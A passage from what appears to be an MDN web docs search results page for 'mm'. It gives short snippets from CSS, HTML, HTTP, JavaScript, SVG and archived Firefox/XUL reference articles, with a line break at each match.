mmon best practice is to define custom properties on the :root pseudo-class, so that it can be applied globally across your html document: :root { --main-bg-color: brown; } however, this doesn't always have to be the case: you maybe have a good reason for limiting the scope of your custom properties.
...--test: 2em; } in this case, the results of var(--test) are: for the class="two" element: 10px for the class="three" element: 2em for the class="four" element: 10px (inherited from its parent) for the class="one" element: invalid value, which is the default value of any custom property keep in mind that these are custom properties, not actual variables like you might find in other progra
mming languages.
...the function only accepts two parameters, assigning everything following the first co
mma as the second parameter.
...And 3 more matches
attr() - CSS: Cascading Style Sheets
the list of valid values are: keyword associated type co
mment default value string <string> the attribute value is treated as a css <string>.
... em, ex, px, rem, vw, vh, vmin, vmax,
mm, cm, in, pt, or pc <length> the attribute value is parsed as a css <number>, that is without the unit (e.g.
...)where <type-or-unit> = string | color | url | integer | number | length | angle | time | frequency | cap | ch | em | ex | ic | lh | rlh | rem | vb | vi | vw | vh | vmin | vmax |
mm | q | cm | in | pt | pc | px | deg | grad | rad | turn | ms | s | hz | khz | % examples content property html <p data-foo="hello">world</p> css [data-foo]::before { content: attr(data-foo) " "; } result <color> value html <div class="background" data-background="lime">background expected to be red if your browser does not support advanced usage of attr()</div> css .background...
...And 3 more matches
background-image - CSS: Cascading Style Sheets
to specify multiple background images, supply multiple values, separated by a co
mma: background-image: linear-gradient(to bottom, rgba(255,255,0,0.5), rgba(0,0,255,0.5)), url('https://mdn.mozillademos.org/files/7693/catfront.png'); values none is a keyword denoting the absence of images.
...there can be several of them, separated by co
mmas, as multiple backgrounds are supported.
...ansparent; } div { background-image: url("https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png"); } .catsandstars { background-image: url("https://mdn.mozillademos.org/files/11991/startransparent.gif"), url("https://mdn.mozillademos.org/files/7693/catfront.png"); background-color: transparent; } result specifications specification status co
mment css backgrounds and borders module level 3the definition of 'background-image' in that specification.
...And 3 more matches
background - CSS: Cascading Style Sheets
ax /* using a <background-color> */ background: green; /* using a <bg-image> and <repeat-style> */ background: url("test.jpg") repeat-y; /* using a <box> and <background-color> */ background: border-box red; /* a single image, centered and scaled */ background: no-repeat center/80% url("../img/image.png"); the background property is specified as one or more background layers, separated by co
mmas.
... the syntax of each layer is as follows: each layer may include zero or one occurrences of any of the following values: <attachment> <bg-image> <position> <bg-size> <repeat-style> the <bg-size> value may only be included i
mmediately after <position>, separated with the '/' character, like this: "center/80%".
... setting backgrounds with color keywords and images html <p class="topbanner"> starry sky<br/> twinkle twinkle<br/> starry sky </p> <p class="warning">here is a paragraph<p> css .warning { background: pink; } .topbanner { background: url("https://mdn.mozillademos.org/files/11983/starsolid.gif") #99f repeat-y fixed; } result specifications specification status co
mment css backgrounds and borders module level 3the definition of 'background' in that specification.
...And 3 more matches
<color> - CSS: Cascading Style Sheets
-moz-win-co
mmunicationstext should be used for text in objects with -moz-appearance: -moz-win-co
mmunications-toolbox;.
...the wcag 2.0 reco
mmendation strongly advises against using color as the only means of conveying a specific message, action, or result.
...opaque blue */ hsla(240, 100%, 50%, .4) /* 40% opaque blue */ hsla(240, 100%, 50%, .7) /* 70% opaque blue */ hsla(240, 100%, 50%, 1) /* full opaque blue */ /* whitespace syntax */ hsla(240 100% 50% / .05) /* 5% opaque blue */ /* percentage value for alpha */ hsla(240 100% 50% / 5%) /* 5% opaque blue */ specifications specification status co
mment css color module level 4 working draft adds rebeccapurple, four- (#rgba) and eight-digit (#rrggbbaa) hexadecimal notations, rgba() and hsla() as aliases of rgb() and hsl() (both with identical parameter syntax), space-separated function parameters as an alternative to co
mmas, percentages for alpha values, and angles for the hue component in hsl() colors.
...And 3 more matches
<dimension> - CSS: Cascading Style Sheets
syntax the syntax of <dimension> is a <number> i
mmediately followed by a unit which is an identifier.
... examples valid dimensions 12px 12 pixels 1rem 1 rem 1.2pt 1.2 points 2200ms 2200 milliseconds 5s 5 seconds 200hz 200 hertz 200hz 200 hertz (values are case insensitive) invalid dimensions 12 px the unit must come i
mmediately after the number.
... specifications specification status co
mment css values and units module level 4the definition of '<dimension>' in that specification.
...And 3 more matches
list-style-type - CSS: Cascading Style Sheets
only a few elements (<li> and <su
mmary>) have a default value of display: list-item.
...moreover, because this property is inherited, it can be set on a parent element (co
mmonly <ol> or <ul>) to make it apply to all list items.
...i, ii, iii, iv, v… lower-greek lowercase classical greek alpha, beta, ga
mma… e.g.
...And 3 more matches
overflow-y - CSS: Cascading Style Sheets
the difference between clip and hidden is that the clip keyword also forbids all scrolling, including progra
mmatic scrolling.
...ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea co
mmodo consequat.
...ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea co
mmodo consequat.
...And 3 more matches
CSS: Cascading Style Sheets
previously development of various parts of css specification was done synchronously, which allowed versioning of the latest reco
mmendation.
... from css3, the scope of the specification increased significantly and the progress on different css modules started to differ so much, that it became more effective to develop and release reco
mmendations separately per module.
... styling text with the basics of the css language covered, the next css topic for you to concentrate on is styling text — one of the most co
mmon things you'll do with css.
...And 3 more matches
Audio and Video Delivery - Developer guides
it's strongly reco
mmended that you read the autoplay guide for media and web audio apis to learn how to use autoplay wisely..
...this makes up part of a wider technology known as webrtc (web real-time co
mmunications) and is compatible with the latest versions of chrome, firefox and opera.
...your files have been encoded incorrectly your files may have been encoded incorrectly — try encoding using one of the following tools, which are proven to be pretty reliable: audacity — free audio editor and recorder miro — free, open-source music and video player handbrake — open source video transcoder firefogg — video and audio encoding for firefox ffmpeg2 — comprehensive co
mmand line encoder libav — comprehensive co
mmand line encoder vid.ly — video player,transcoding and delivery internet archive — free transcoding and storage detecting when no sources have loaded to detect that all child <source> elements have failed to load, check the value of the media element's networkstate attribute.
...And 3 more matches
Content categories - Developer guides
every html element is a member of one or more content categories — these categories group elements that share co
mmon characteristics.
... there are three types of content categories: main content categories, which describe co
mmon rules shared by many elements.
... form-related content categories, which describe rules co
mmon to form-related elements.
...And 3 more matches
Localizations and character encodings - Developer guides
the html specification reco
mmends the use of the utf-8 encoding (which can represent all of unicode) and regardless of the encoding used requires web content to declare what encoding was used.
... to specify that a page is using, for example, the utf-8 character encoding (as per the reco
mmendation), simply place the following line in the <head> block: <meta charset="utf-8"> details and browser internals when the encoding is declared by web content like the html specification requires, firefox will use that encoding for turning the bytes into the internal representation.
...in the 1990s, it was co
mmon to leave the encoding undeclared and to use a region-specific encoding that wasn't able to represent all of unicode.
...And 3 more matches
Applying color to HTML elements using CSS - HTML: Hypertext Markup Language
svg (scalable vector graphics) lets you draw images using co
mmands that draw specific shapes, patterns, and lines to produce an image.
... svg co
mmands are formatted as xml, and can be embedded directly into a web page or can be placed in he page using the <img> element, just like any other type of image.
... our two colored boxes share a number of properties in co
mmon, so next we establish a class, .box, that defines those shared properties: .box { width: 290px; height: 100px; margin: 0; padding: 4px 6px; font: 28px "marker felt", "zapfino", cursive; display: flex; justify-content: center; align-items: center; } in brief, .box establishes the size of each box, as well as the configuration of the font used within.
...And 3 more matches
disabled - HTML: Hypertext Markup Language
the disabled attribute is supported by <button>, <co
mmand>, <fieldset>, <keygen>, <optgroup>, <option>, <select>, <textarea> and <input>.
...additionally, since the elements become i
mmutable, most other attributes, such as pattern, have no effect, until the control is enabled.
... usability browsers display disabled form controls greyed as disabled form controls are i
mmutable, won't receive focus or any browsing events, like mouse clicks or focus-related ones, and aren't submitted with the form.
...And 3 more matches
<dl>: The Description List element - HTML: Hypertext Markup Language
co
mmon uses for this element are to implement a glossary or to display metadata (a list of key-value pairs).
... </dd> <dd> the red panda also known as the lesser panda, wah, bear cat or firefox, is a mostly herbivorous ma
mmal, slightly larger than a domestic cat (60 cm long).
...because of this, make sure each list item's content is written in such a way that it co
mmunicates its relationship to the other list items in the list grouping.
...And 3 more matches
<form> - HTML: Hypertext Markup Language
accept co
mma-separated content types the server accepts.
... (in previous versions of html, character encodings could also be delimited by co
mmas.) autocapitalize a nonstandard attribute used by ios safari that controls how textual form elements should be automatically capitalized.
... this value is overridden by for
mmethod attributes on <button>, <input type="submit">, or <input type="image"> elements.
...And 3 more matches
<iframe>: The Inline Frame element - HTML: Hypertext Markup Language
loading indicates how the browser should load the iframe: eager: load the iframe i
mmediately, regardless if it is outside the visible viewport (this is the default value).
...cross-origin co
mmunication can be achieved using window.postmessage().
... specifications specification status co
mment referrer policythe definition of 'referrerpolicy attribute' in that specification.
...And 3 more matches
<input type="checkbox"> - HTML: Hypertext Markup Language
events change and input supported co
mmon attributes checked idl attributes checked, indeterminate and value methods select() value a domstring representing the value of the checkbox.
... additional attributes in addition to the co
mmon attributes shared by all <input> elements, "checkbox" inputs support the following attributes: attribute description checked boolean; if present, the checkbox is toggled on by default indeterminate a boolean which, if present, indicates that the value of the checkbox is indeterminate rather than true or false value the string to use as the va...
...let's now look at the other co
mmon checkbox-related features and techniques you'll need.
...And 3 more matches
<input type="image"> - HTML: Hypertext Markup Language
supported co
mmon attributes alt, src, width, height, formaction, formenctype, for
mmethod, formnovalidate, formtarget idl attributes none.
...tional attributes in addition to the attributes shared by all <input> elements, image button inputs support the following attributes: attribute description alt alternate string to display when the image can't be shown formaction the url to which to submit the data formenctype the encoding method to use when submitting the form data for
mmethod the http method to use when submitting the form formnovalidate a boolean which, if present, indicates that the form shouldn't be validated before submission formtarget a string indicating a browsing context from where to load the results of submitting the form height the height, in css pixels, at which to draw the image src the url from whic...
... for
mmethod a string indicating the http method to use when submitting the form's data; this value overrides any method attribute given on the owning form.
...And 3 more matches
<input type="range"> - HTML: Hypertext Markup Language
events change and input supported co
mmon attributes autocomplete, list, max, min, and step idl attributes list, value, and valueasnumber methods stepdown() and stepup() validation there is no pattern validation available; however, the following forms of automatic validation are performed: if the value is set to something which can't be converted into a valid floating-point number, validation fails...
... note: the following input attributes do not apply to the input range: accept, alt, checked, dirname, formaction, formenctype, for
mmethod, formnovalidate, formtarget, height, maxlength, minlength, multiple, pattern, placeholder, readonly, required, size, src, and width.
... a few examples of situations in which range inputs are co
mmonly used: audio controls such as volume and balance, or filter controls.
...And 3 more matches
<tr>: The Table Row element - HTML: Hypertext Markup Language
typical values for this include a period (".") or co
mma (",") when attempting to align numbers or monetary values.
... the "joined" and "canceled" headers let's style these two header cells with green and red hues to represent the "good" of a new member and the "bu
mmer" of a canceled membership.
... color every body other row differently it's co
mmon to help improve readability of table data by alternating row colors.
...And 3 more matches
<u>: The Unarticulated Annotation (Underline) element - HTML: Hypertext Markup Language
examples indicating a spelling error this example uses the <u> element and some css to display a paragraph which includes a misspelled error, with the error indicated in the red wavy underline style which is fairly co
mmonly used for this purpose.
...this is a co
mmon styling for spelling errors.
... another co
mmon style can be presented using red dashed underline.
...And 3 more matches
<video>: The Video Embed element - HTML: Hypertext Markup Language
there are no special considerations for styling <video>; a co
mmon strategy is to give it a display value of block to make it easier to position, size, etc., and then provide styling and layout information as required.
... <!-- using multiple sources as fallbacks for a video tag --> <!-- 'elephants dream' by orange open movie project studio, licensed under cc-3.0, hosted by archive.org --> <!-- poster hosted by wikimedia --> <video width="620" controls poster="https://upload.wikimedia.org/wikipedia/co
mmons/e/e8/elephants_dream_s5_both.jpg" > <source src="https://archive.org/download/elephantsdream/ed_1024_512kb.mp4" type="video/mp4"> <source src="https://archive.org/download/elephantsdream/ed_hd.ogv" type="video/ogg"> <source src="https://archive.org/download/elephantsdream/ed_hd.avi" type="video/avi"> your browser doesn't support html5 video tag.
...the most co
mmon video file type extensions are ".ogm", ".ogv", or ".ogg".
...And 3 more matches
accesskey - HTML: Hypertext Markup Language
ie/edge uses the first one it supports without problems, provided there are no conflicts with other co
mmands.
... webaim: keyboard accessibility - accesskey specifications specification status co
mment html 5.2the definition of 'accesskey' in that specification.
... reco
mmendation more realistic behavior described for what is implemented in reality.
...And 3 more matches
lang - HTML: Hypertext Markup Language
the default value of lang is unknown, therefore it is reco
mmended to always specify this attribute with the appropriate value.
...the 3 most co
mmon subtags are: language subtag required.
... specifications specification status co
mment html living standardthe definition of 'lang' in that specification.
...And 3 more matches
style - HTML: Hypertext Markup Language
note that it is reco
mmended for styles to be defined in a separate file or files.
... specifications specification status co
mment html living standardthe definition of 'style' in that specification.
... reco
mmendation snapshot of html living standard, no change from html5 html5the definition of 'style' in that specification.
...And 3 more matches
List of default Accept values - HTTP
user agent value co
mment firefox text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 (since firefox 66) text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 (in firefox 65) text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 (before) in firefox 65 and earlier, this value can be modified using the network.http.accept.default par...
... user agent value co
mment firefox image/webp,*/* (since firefox 65) */* (since firefox 47) image/png,image/*;q=0.8,*/*;q=0.5 (before) this value can be modified using the image.http.accept parameter.
... user agent value co
mment firefox earlier than 3.6 no support for <video> firefox 3.6 and later video/webm,video/ogg,video/*;q=0.9,application/ogg;q=0.7,audio/*;q=0.6,*/*;q=0.5 see bug 489071 source chrome */* source internet explorer 8 or earlier no support for <video> values for audio resources when an audio file is requested, like via the <audio> ...
...And 3 more matches
Content-Security-Policy - HTTP
therefore it is reco
mmended to restrict this fetch-directive (e.g., explicitly set object-src 'none' if possible).
... specifications specification status co
mment content security policy level 3 working draft adds manifest-src, navigate-to, report-to, strict-dynamic, worker-src.
... mixed content candidate reco
mmendation adds block-all-mixed-content.
...And 3 more matches
Equality comparisons and sameness - JavaScript
(the only case in which (x !== x) is true is when x is nan.) loose equality using == loose equality compares two values for equality, after converting both values to a co
mmon type.
...loose equality is sy
mmetric: a == b always has identical semantics to b == a for any values of a and b (except for the order of applied conversions).
...(this use case demonstrates an instance of the liskov substitution principle.) one instance occurs when an attempt is made to mutate an i
mmutable property: // add an i
mmutable negative_zero property to the number constructor.
...And 3 more matches
Expressions and operators - JavaScript
assignment operators comparison operators arithmetic operators bitwise operators logical operators string operators conditional (ternary) operator co
mma operator unary operators relational operators javascript has both binary and unary operators, and one special ternary operator, the conditional operator.
...these operators work as they do in most other progra
mming languages when used with floating point numbers (in particular, note that division by zero produces infinity).
... the following table su
mmarizes javascript's bitwise operators.
...And 3 more matches
Memory Management - JavaScript
memory life cycle regardless of the progra
mming language, the memory life cycle is pretty much always the same: allocate the memory you need use the allocated memory (read, write) release the allocated memory when it is not needed anymore the second part is explicit in all languages.
... allocation in javascript value initialization in order to not bother the progra
mmer with allocations, javascript will automatically allocate memory when values are initially declared.
... var d = new date(); // allocates a date object var e = document.createelement('div'); // allocates a dom element some methods allocate new values or objects: var s = 'azerty'; var s2 = s.substr(0, 3); // s2 is a new string // since strings are i
mmutable values, // javascript may decide to not allocate memory, // but just store the [0, 3] range.
...And 3 more matches
SyntaxError: missing variable name - JavaScript
or maybe a co
mma is wrong.
...probably a co
mma is wrong somewhere or you struggled with coming up with a name.
... check to ensure the previous lines / declaration does not end with a co
mma instead of a semi-colon.
...And 3 more matches
Promise.all() - JavaScript
it rejects i
mmediately upon any of the input promises rejecting or non-promises throwing an error, and will reject with this first rejection message / error.
...it is typically used when there are multiple asynchronous tasks that are dependent on one another to complete successfully, as it does not wait and will reject i
mmediately upon any of the input promises rejecting.
... synchronicity of promise.all this following example demonstrates the asynchronicity (or synchronicity, if the iterable passed is empty) of promise.all: // we are passing as argument an array of promises that are already resolved, // to trigger promise.all as soon as possible var resolvedpromisesarray = [promise.resolve(33), promise.resolve(44)]; var p = promise.all(resolvedpromisesarray); // i
mmediately logging the value of p console.log(p); // using settimeout we can execute code after the stack is empty settimeout(function() { console.log('the stack is now empty'); console.log(p); }); // logs, in order: // promise { <state>: "pending" } // the stack is now empty // promise { <state>: "fulfilled", <value>: array[2] } the same thing happens if promise.all rejects: var mixedp...
...And 3 more matches
<mo> - MathML
besides operators in strict mathematical meaning, this element also includes "operators" like parentheses, separators like co
mma and semicolon, or "absolute value" bars.
... separator there is no visual effect for this attribute, but it specifies whether the operator is a separator (such as co
mmas).
... sy
mmetric if stretchy is true, this attribute specifies whether the operator should be vertically sy
mmetric around the imaginary math axis (centered fraction line).
...And 3 more matches
cx - SVG: Scalable Vector Graphics
<stop offset="100%" stop-color="white" /> </radialgradient> </defs> <rect x="1" y="1" width="8" height="8" fill="url(#mygradient000)" stroke="black" /> <rect x="13" y="1" width="8" height="8" fill="url(#mygradient050)" stroke="black" /> <rect x="25" y="1" width="8" height="8" fill="url(#mygradient100)" stroke="black" /> </svg> specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'cx' in that specification.
... candidate reco
mmendation definition as a geometry property scalable vector graphics (svg) 2the definition of 'cx' in that specification.
... candidate reco
mmendation definition for svg2 paint servers.
...And 3 more matches
cy - SVG: Scalable Vector Graphics
<stop offset="100%" stop-color="white" /> </radialgradient> </defs> <rect x="1" y="1" width="8" height="8" fill="url(#mygradient000)" stroke="black" /> <rect x="13" y="1" width="8" height="8" fill="url(#mygradient050)" stroke="black" /> <rect x="25" y="1" width="8" height="8" fill="url(#mygradient100)" stroke="black" /> </svg> specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'cy' in that specification.
... candidate reco
mmendation definition as a geometry property scalable vector graphics (svg) 2the definition of 'cy' in that specification.
... candidate reco
mmendation definition for svg2 paint servers.
...And 3 more matches
points - SVG: Scalable Vector Graphics
120" xmlns="http://www.w3.org/2000/svg"> <!-- polyline is an open shape --> <polyline stroke="black" fill="none" points="50,0 21,90 98,35 2,35 79,90"/> <!-- polygon is a closed shape --> <polygon stroke="black" fill="none" transform="translate(100,0)" points="50,0 21,90 98,35 2,35 79,90"/> <!-- it is usualy considered best practices to separate a x and y coordinate with a co
mma and a group of coordinates by a space.
... value [ <number>+ ]# default value none animatable yes example html,body,svg { height:100% } <svg viewbox="-10 -10 120 120" xmlns="http://www.w3.org/2000/svg"> <!-- polygon is an closed shape --> <polygon stroke="black" fill="none" points="50,0 21,90 98,35 2,35 79,90" /> </svg> specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'points' in that specification.
... candidate reco
mmendation definition for <polygon> scalable vector graphics (svg) 2the definition of 'points' in that specification.
...And 3 more matches
Private Properties - Archive of obsolete content
this article discusses two co
mmon techniques: one using prefixes, the other closures.
...it is possible to read this section on its own, but to fully appreciate how namespaces work, and the problem they set out to solve, it is reco
mmended to read the entire article.
... using prefixes a co
mmon technique to implement private properties is to prefix each private property name with an underscore.
...And 2 more matches
Two Types of Scripts - Archive of obsolete content
your add-on is implemented as a collection of one or more co
mmonjs modules.
... api access for add-on code and content scripts the table below su
mmarizes the apis that are available to each type of script.
... ✔ ✔ the require() and exports globals defined by version 1.0 of the co
mmonjs module specification.
...And 2 more matches
Low-Level APIs - Archive of obsolete content
/loader create co
mmonjs module loaders.
... core/promise implementation of promises to make asynchronous progra
mming easier.
... remote/child enables an sdk module loaded into a child process to access web content in the child process and co
mmunicate with modules in the main process.
...And 2 more matches
Appendix D: Loading Scripts - Archive of obsolete content
below is an overview of the more co
mmon means of loading scripts, along with some of their primary advantages, disadvantages, quirks, and use cases.
...these tags are generally inserted into xul overlay files or other xul documents, after which they are automatically loaded into the context of the xul window in question and executed i
mmediately and synchronously.
...problems can ensue if the script i
mmediately attempts to access dom nodes.
...And 2 more matches
Custom XUL Elements with XBL - Archive of obsolete content
<content> <xul:hbox> <xul:image class="xulshoolhello-person-image" xbl:inherits="src=image" /> <xul:vbox flex="1"> <xul:label xbl:inherits="value=name" /> <xul:description xbl:inherits="value=greeting" /> </xul:vbox> <xul:vbox> <xul:button label="&xulshoolhello.remove.label;" accesskey="&xulshoolhello.remove.accesskey;" onco
mmand="document.getbindingparent(this).remove(event);" /> </xul:vbox> </xul:hbox> </content> our element is very simple, displaying an image, a couple of text lines and a button.
... the onco
mmand attribute of the button has some code you've probably never seen before: document.getbindingparent(this).
...but you can still keep some separation and versatility by using custom events to co
mmunicate to the outside world.
...And 2 more matches
Promises - Archive of obsolete content
promise apis for co
mmon asynchronous operations due to the performance and stability costs of synchronous io, many apis which rely on it have been deprecated.
... the following page contains examples of many promise-based replacement apis for co
mmon operations.
... yield db.close(); } }); promise wrappers and helpers the following are some example promise-based wrappers for co
mmon callback-based asynchronous apis.
...And 2 more matches
Adding preferences to an extension - Archive of obsolete content
next, we call our own refreshinformation() method to i
mmediately fetch and display the current information about the stock the extension is configured to monitor.
... once we've gotten the updated preference, we call refreshinformation() to i
mmediately update the display with the new stock's information.
... watchstock() while we're at it, let's add a method that sets which stock we want to be watching, changing the preference and i
mmediately requesting a refresh of the display.
...And 2 more matches
Case Sensitivity in class and id Names - Archive of obsolete content
su
mmary: although css is itself case-insensitive, class and id names are defined to be case-sensitive in html 4.01.
...the most co
mmon case is where the name uses different case in the document source than is found in the css or javascript.
...thus, the mozilla team, co
mmitted to following open standards as closely as possible, implemented both class and id names as case-sensitive values.
...And 2 more matches
List of Mozilla-Based Applications - Archive of obsolete content
aviva for java mainframe connectivity product uses mozilla rhino babelgum internet tv service basilisk pre-servo xul-based web browser uses most of the firefox 55 source code batik java-based toolkit uses mozilla rhino bitbox security focused browser seemingly based on firefox blackbird browser for african american co
mmunity bluegriffon wysiwyg editor next generation version of composer buzzbird twitter client built on xulrunner camino browser 2.5m downloads and ~400,000 active users ...
...for remote control device uses gre or xulrunner longman dictionary of contemporary english cd-rom lotus notes / sametime groupware the latest version of ibm lotus notes and sametime can embed xul applications lucidor e-book reader lx-office accounting tool looks like it makes at least some use of xul maavis simple ui & co
mmunications for accessibility framework designed for elderly people with dementia but other applications mac os x operating system makes use of some mpl files such as libsecurity_asn1 maemo browser browser for maemo internet tablet development name is microb magooclient business process management tool uses mozilla rhino mantra security to...
... simple apps for maemo uses xulrunner moznet .net control embeddable gecko for .net applications wraps xulrunner for use in .net applications my internet browser localized browser uses gecko myna application server javascript application server for java uses mozilla rhino nextcms (fr) cms nightingale music player co
mmunity run effort to continue songbird support for linux olpc web browser browser oneteam jabber client opendocument viewer viewer opengate's tools cd burner, file browser, and hardware diagnostic softwares opengate is the opensource side of the easyneuf project, “a free software computer, easy and preinstalled” open mashup...
...And 2 more matches
Creating a Firefox sidebar extension - Archive of obsolete content
most additions are provided with a default tree structure, although not required it is reco
mmended to use this structure.
...chrome/locale/emptysidebar.dtd <!entity emptysidebar.title "emptysidebar"> <!entity openemptysidebar.co
mmandkey "e"> <!entity openemptysidebar.modifierskey "shift accel"> the content folder includes our sidebar, the emptysidebar.xul is shown in example 3.
...<?xml version="1.0"?> <!doctype overlay system "chrome://emptysidebar/locale/emptysidebar.dtd"> <overlay id="emptysidebaroverlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <menupopup id="viewsidebarmenu"> <menuitem key="key_openemptysidebar" observes="viewemptysidebar" /> </menupopup> <keyset id="mainkeyset"> <key id="key_openemptysidebar" co
mmand="viewemptysidebar" key="&openemptysidebar.co
mmandkey;" modifiers="&openemptysidebar.modifierskey;" /> </keyset> <broadcasterset id="mainbroadcasterset"> <broadcaster id="viewemptysidebar" label="&emptysidebar.title;" autocheck="false" type="checkbox" group="sidebar" sidebarurl="chrom...
...And 2 more matches
Getting Started - Archive of obsolete content
classic.jar locations linux: folder_with_seamonkey/chrome/classic.jar windows: folder_with_seamonkey\chrome\classic.jar for mac os x: folder_with_seamonkey/chrome/classic.jar copy classic.jar to another easily accessible folder -- classic is reco
mmended -- extract the contents of that folder, being sure to maintain the directory structure.
...skin\classic\co
mmunicator co
mmunicator contains all the toolbar icons, as well as the icons for the bookmark manager and the preferences window.
...into this directory put a zip archive called my_theme.jar containing navigator, global, co
mmunicator, editor, help, messenger, messenger-newsblog and mozapps directories from above.
...And 2 more matches
Creating a Skin for Firefox/Getting Started - Archive of obsolete content
go to contents/macos/chrome/classic.jar copy classic.jar to another easily accessible folder -- classic is reco
mmended -- extract the contents of that folder, being sure to maintain the directory structure.
... skin\classic\co
mmunicator doesn't do a whole lot and can typically be forgotten about promptly.
...into this directory put the browser, global, co
mmunicator, help, and mozapps directories from above, as well as the icon.png and preview.png files.
...And 2 more matches
Block and Line Layout Cheat Sheet - Archive of obsolete content
this flag causes the nsblockreflowstate's constructor to set the brs_istopmarginroot and brs_isbotto
mmarginroot flags.
... nshtmlreflowmetrics the structure that is "filled in" by a frame during reflow, and is used to co
mmunicate the frame's desired size information back to its container.
...
mmaximumwidth the maximum width that the frame would consume if it were reflowed with an unconstrained available width.
...And 2 more matches
Metro browser chrome tests - Archive of obsolete content
the metro browser chrome test suite is an automated testing framework designed to allow testing of the i
mmersive version of firefox for windows 8 and above using javascript.
... it currently allows you to run javascript code in the same scope as the i
mmersive browser and report results using the same functions as the mochitest test framework.
... running the metro browser chrome tests to run mochitest, first build mozilla with your changes; then run ./mach mochitest-metro this will launch metro browser chrome tests in the default i
mmersive browser.
...And 2 more matches
Monitoring downloads - Archive of obsolete content
as a nice bonus, it also demonstrates how to use the storage api to issue sqlite co
mmands on a database.
...the database file is opened, and an sqlite create table co
mmand is executed to create the table.
... in that case, we create a new row in our database for the new file by opening the database and building a replace into sqlite co
mmand.
...And 2 more matches
Mozilla Application Framework in Detail - Archive of obsolete content
flexible progra
mming interfaces such as the web shell api, the java wrapper api and the gecko activex control make gecko easily embeddable into applications and devices.
...in addition, independent software developers and corporate information technology departments now have complete access to the modular source code and freedom to freely license the source, make changes and build customized versions to acco
mmodate their individual needs.
...its provides a generic and extensible framework for fetching urls with support for co
mmon protocols (http, ftp, file, etc.) and a way to plug in custom protocol handlers.
...And 2 more matches
buttons - Archive of obsolete content
« xul reference home buttons type: co
mma-separated list of the values below a co
mma-separated list of buttons to appear in the dialog box.
...you can set its label with the buttonlabelextra1 attribute and its co
mmand with the ondialogextra1 attribute.
...you can set its label with the buttonlabelextra2 attribute and its co
mmand with the ondialogextra2 attribute.
...And 2 more matches
Extensions - Archive of obsolete content
<popup id="contentareacontextmenu"> <menuitem id="thumbnail-show" label="view thumbnail" onco
mmand="thumbnails.view();"/> </popup> note that the popup element is used rather than the menupopup element as this is the element that firefox uses.
...for example, the following may be used to insert a co
mmand just after the 'select all' co
mmand: <popup id="contentareacontextmenu"> <menuitem label="select links" onco
mmand="thumbnails.selectalllinks();" insertafter="context-selectall"/> </popup> see firefox context menu for a list of the ids of the items found on the firefox context menu.
...this allows the menu to have different co
mmands for different types of targets.
...And 2 more matches
Skinning XUL Files by Hand - Archive of obsolete content
the following table shows the basic format for these two co
mmon types of style definitions: class id element.class { attribute: value; } element#id { attribute: value; } menu.baseline { border: 0px; font-size: 9pt; } menu#edit { color: red; } other style subgroups contextualsubgroups -- elements appearing within other elements, such as italicized text anywhere within a <p> element or a...
... <div> -- can be grouped in css, but this is an extremely inefficient way to style xul, and is frowned upon in the mozilla development co
mmunity (again, refer to the skinning guidelines in writing skinnable xul and css for more info); css2 also provides some new ways to group elements for styling, which we su
mmarize briefly here, because they appear in mozilla with some frequency, but reserve for another article: pseudo-class parent-child element:pseudo-class { attribute: value; } parent > child { attribute: value; } button:hover { border: 1px; } menu#file > menuitem { font-weight: bold; } pseudo-classes reflect states of the element: when the mouse moves over a button, for example, the appropriate pseudo-class styleshee...
... on to the actual global.css file: after some co
mments, the css file contains basic style information for the <window> and <dialog> elements.
...And 2 more matches
Using the Editor from XUL - Archive of obsolete content
for co
mmand state maintenance, starting and stopping the throbber etc.).
...this editor co
mmand dispatching is described separately.
...for text widgets and composer): nstexteditorkeylistener (as a nsidomkeylistener) nstexteditormouselistener (as a nsido
mmouselistener) nstexteditorfocuslistener (as a nsidomfocuslistener) nstexteditortextlistener (as a nsidomtextlistener) nstexteditorcompositionlistener (as a nsidomcompositionlistener) nstexteditordraglistener (as a nsidomdraglistener) in nseditorshell::preparedocumentforediting(), we install a mouse listener.
...And 2 more matches
XUL element attributes - Archive of obsolete content
« xul reference home the following attributes are co
mmon to all xul elements: align type: one of the values below the align attribute specifies how child elements of the box are aligned, when the size of the box is larger than the total size of the children.
...this value may be a co
mma-separated list of ids, which are scanned and the first one found in the window is used.
...this value may be a co
mma-separated list of ids, which are scanned and the first one found in the window is used.
...And 2 more matches
XUL Coding Style Guidelines - Archive of obsolete content
while some of the guidelines are reco
mmended practices, the others are mandatory.
...other guidelines mentioned in xhtml 1.1 reco
mmendation.
...some files live in the tree but aren't really part of the build; they're just there as progra
mming examples or a kind of source documentation.
...And 2 more matches
dialog - Archive of obsolete content
buttons type: co
mma-separated list of the values below a co
mma-separated list of buttons to appear in the dialog box.
... note: if you don't want to display any buttons in the dialog box, set the value of this attribute to "," (a single co
mma).
...if it is set to true any changes to settings are supposed to be applied i
mmediately.
...And 2 more matches
menu - Archive of obsolete content
attributes acceltext, accesskey, allowevents, co
mmand, crop, disabled, image, label, menuactive, open, sizetopopup, tabindex, value properties accessibletype, accesskey, co
mmand, control, crop, disabled, image, itemcount, label, labelelement, menupopup, open, parentcontainer, selected, tabindex, value methods appenditem, getindexofitem, getitematindex, insertitemat, removeitemat style classes menu-iconic example <menubar id="sample...
...> <menuitem label="exit"/> </menupopup> </menu> <menu id="edit-menu" label="edit"> <menupopup id="edit-popup"> <menuitem label="undo"/> <menuitem label="redo"/> </menupopup> </menu> </menubar> attributes acceltext type: string text that appears beside the menu label to indicate the shortcut key (accelerator key) to use to invoke the co
mmand.
...if the element is disabled, it does not respond to user actions, it cannot be focused, and the co
mmand event will not fire.
...And 2 more matches
2006-11-03 - Archive of obsolete content
su
